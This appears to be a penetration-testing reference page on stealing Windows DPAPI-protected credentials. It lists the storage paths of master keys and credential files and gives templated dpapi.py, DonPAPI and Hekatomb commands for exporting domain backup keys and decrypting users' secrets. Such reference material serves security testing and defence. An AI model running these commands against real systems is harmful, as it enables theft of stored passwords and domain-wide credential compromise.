DPAPI secrets
MITRE ATT&CK™ Sub-technique T1555.003
Theory
C:\Users\$USER\AppData\Roaming\Microsoft\Protect\$SUID\$GUIDC:\Users\$USER\AppData\Local\Microsoft\Credentials\
C:\Users\$USER\AppData\Roaming\Microsoft\Credentials\Practice
DPAPI.py
# Decrypt a master key
dpapi.py masterkey -file "/path/to/masterkey_file" -sid $USER_SID -password $MASTERKEY_PASSWORD
# Obtain the backup keys & use it to decrypt a master key
dpapi.py backupkeys -t $DOMAIN/$USER:$PASSWORD@$TARGET --export
dpapi.py masterkey -file "/path/to/masterkey_file" -pvk "/path/to/backup_key.pvk"
# Decrypt DPAPI-protected data using a master key
dpapi.py credential -file "/path/to/protected_file" -key $MASTERKEYDonPAPI
DonPAPI.py 'domain'/'username':'password'@<'targetName' or 'address/mask'>Hekatomb
# Obtain the backup keys & use it to decrypt all blob from users
hekatomb $DOMAIN/$USER:$PASSWORD@$TARGET
# Decrypt all blob from users using saved backup key
hekatomb -pkv /path/to/backup_key.pvk $DOMAIN/$USER:$PASSWORD@$TARGETResources
Last updated